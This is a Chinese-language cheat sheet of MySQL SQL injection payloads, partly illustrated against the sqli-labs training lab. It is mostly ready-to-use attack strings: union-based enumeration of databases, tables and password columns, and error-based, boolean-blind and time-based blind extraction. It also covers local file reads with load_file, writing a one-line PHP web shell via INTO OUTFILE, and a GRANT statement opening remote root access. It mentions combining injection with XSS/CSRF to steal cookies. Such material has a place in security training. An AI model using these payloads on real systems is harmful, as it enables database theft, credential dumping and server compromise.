### **1.mysql一般注入（选择）**

1.注释符

#

/\*

--

2.过滤空格注入

使用/ \*\* /或（）或+代替空格

%0c = form feed, new page

%09 = horizontal tab

%0d = carriage return

%0a = line feed, new line

3.多条数据显示

concat()

group\_concat()

concat\_ws()

4.相关函数

system\_user() 系统用户名

user() 用户名

current\_user 当前用户名

session\_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load\_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version\_compile\_os 操作系统 Windows Server 2003

GRANT ALL PRIVILEGES ON \*.\* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql注入一般语句  
判断注入类型

1.加单引号”   
比如：从报错信息判断，令ID = -1' ，报错：

（为什么是id = -1不是1，因为源码有限0,1限制只输出第一条数据，若是1，则输出id = 1的数据，我们想要的数据就显示不了，所以用-1就只输出我们要的数据）

或者用id = 1和1 = 2来使语句为假。

将近和在之间字符串的左右引号去掉，得到'-1''）LIMIT 0,1.-1的右边多了一个'，后面还有个括号，代码应该是id =（'$ id' ）

则需要闭合（''）

2.加双引号”   
单引号没反应，可能是由双引号闭合了，单引号在双引号内是合法的，此时加双引号“测试。

猜字段数

order by n/\*

查看MySQL的基本信息

* 和1 = 2的作用是，令前面id = 1和1 = 2为假，不输出内容，这样就可以输出我们后面union语句的内容了。  
  and 1=2 union select 1,2,3,concat\_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/\*

查询数据库

and 1=2 union select 1,schema\_name,3,4 from information\_schema.schemata limit 1,1/\*

and 1=2 union select 1,group\_concat(schema\_name),3,4 from information\_schema.schemata/\*

查询表名

and 1=2 union select 1,2,3,4,table\_name,5 from information\_schema.tables where table\_schema=数据库的16进制编码 limit 1,1/\*

and 1=2 union select 1,2,3,4,group\_concat(table\_name),5 from information\_schema.tables where table\_schema=数据库的16进制编码/\*

查询字段

and 1=2 union select 1,2,3,4,column\_name,5,6,7 from information\_schema.columns where table\_name=表名的十六进制编码 and table\_schema=数据库的16进制编码 limit 1,1/\*

and 1=2 union select 1,2,3,4,group\_concat(column\_name),5,6,7 from information\_schema.columns where table\_name=表名的十六进制编码 and table\_schema=数据库的16进制编码/\*

查询数据

and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/\*

and 1=2 union select 1,username,password from users limit 0,1 %23

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group\_concat(username),group\_concat(password) from users-- -

判断是否具有读写权限

and (select count(\*) from mysql.user)>0/\*

and (select count(file\_priv) from mysql.user)>0/\*

6.mysql读取写入文件

必备条件：

读：文件权限必备

写：

绝对路径

联合使用

可以使用 ''

-------------------------读----------------------

mysql3.x读取方法

create table a(cmd text);

load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;

select \* from a;

mysql4.x读取方法

除上述方法还可以使用load\_file()

create table a(cmd text);

insert into a(cmd) values(load\_file('c:\\ddd\\ddd\\ddd.txt'));

select \* from a;

mysql5.x读取方法

上述两种都可以

load\_file(char(32,26,56,66))

load\_file(0x633A5C626F6F742E696E69)

------------写--------------------------

into outfile写文件

union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/\*

union select 1,2,3,load\_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/\*

### **2.mysql一般注入（插入，更新）**

MySQL的一般请求的mysql\_query不支持多语句执行，mysqli的可以。

插入注入多使用报错注入！

1. 如果可以直接插入管理员可以直接使用!

insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/\* ');

2. 如果可以插入一些数据，这些数据会在网页中显示，我们可以结合xxs和csrf来获取cookies或getshell

update注入同上

### **3.mysql报错注入**

1. [sqli-lab-less5(get)/13(post):正常情况不输出任何数据，所以要用报错注入的方法]

and (select 1 from (select count(\*),concat(database(),floor(rand(0)\*2))x from information\_schema.tables group by x)a) %23 2. and(select 1 from(select count(\*),concat((select (select (语句)) from information\_schema.tables limit 0,1),floor(rand(0)\*2))x from information\_schema.tables group by x)a) and 1=1

语句处填入一般一句，如：SELECT distinct concat(0x7e,0x27,schema\_name,0x27,0x7e) FROM information\_schema.schemata LIMIT 0,13. and+1=(select+\*+from+(select+NAME\_CONST((语句),1),NAME\_CONST((语句),1))+as+x)--4.update web\_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(\*),concat(floor(rand(0)\*2),(substring((Select (语句)),1,62)))a from information\_schema.tables group by a)b);5.insert into web\_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(\*),concat(floor(rand(0)\*2),(substring((Select (语句)),1,62)))a from information\_schema.tables group by a)b)));

### **4.mysql基于布尔的盲注**

* 盲注：没有返回错误信息，用盲注
* 基于布尔型：  
  or 1=1  
  and 1=1

使用ASCII  
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<115 ) -- +

AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

使用正则表达式

and 1=(SELECT 1 FROM information\_schema.tables WHERE TABLE\_SCHEMA="blind\_sqli" AND table\_name REGEXP '^[a-n]' LIMIT 0,1)

### **5.mysql基于时间的盲注**

* 基于时间：  
  and sleep(5) -- -

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root'

### **6.mysql其他注入技巧**

#### 1 outfile注入[sqli-labs-less-7]

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile "C:/wamp/www/sqli-labs-master/Less-7/2.txt" --+

2.有效载荷

* 判断字段数  
  uname=123' order by 2-- - &passwd=123&submit=Submit
* 爆数据库  
  uname=123' union select database(),version() -- - &passwd=123&submit=Submit
* 爆表  
  uname=123' union select 1,group\_concat(table\_name) from information\_schema.tables where table\_schema=database( ) -- - &passwd=123&submit=Submit
* 爆字段  
  uname=123' union select 1,group\_concat(column\_name) from information\_schema.columns where table\_name='users' and table\_schema=database()-- - &passwd=123&submit=Submit
* 爆数据  
  uname=123' union select username,password from security.users limit 0,1-- - &passwd=123&submit=Submit

##### 2.2报错后注册[sqli-labs-less-13]

* 正常不显示任何数据 - 报错注入

1. 爆库  
   uname=123') or (select 1 from (select count(\*),concat((select database() from information\_schema.tables limit 0,1),floor(rand(0)\*2))x from information\_schema.tables group by x)a) -- - &passwd=123&submit=Submit
2. 爆表  
   uname=123') or (select 1 from (select count(\*),concat((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),floor(rand(0)\*2))x from information\_schema.tables group by x)a) -- - &passwd=123&submit=Submit
3. 爆字段  
   uname=123') or (select 1 from (select count(\*),concat((select column\_name from information\_schema.columns where table\_schema=database() and table\_name='users' limit 0,1),floor(rand(0)\*2))x from information\_schema.tables group by x)a) -- - &passwd=123&submit=Submit  
   4.爆数据  
   uname=123') or (select 1 from (select count(\*),concat((select username from security.users limit 0,1),floor(rand(0)\*2))x from information\_schema.tables group by x)a) -- - &passwd=123&submit=Submit

### **7.mysql数据库版本特性**

1. mysql5.0以后 information.schema库出现

2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下

3. mysql5.x以后 system执行命令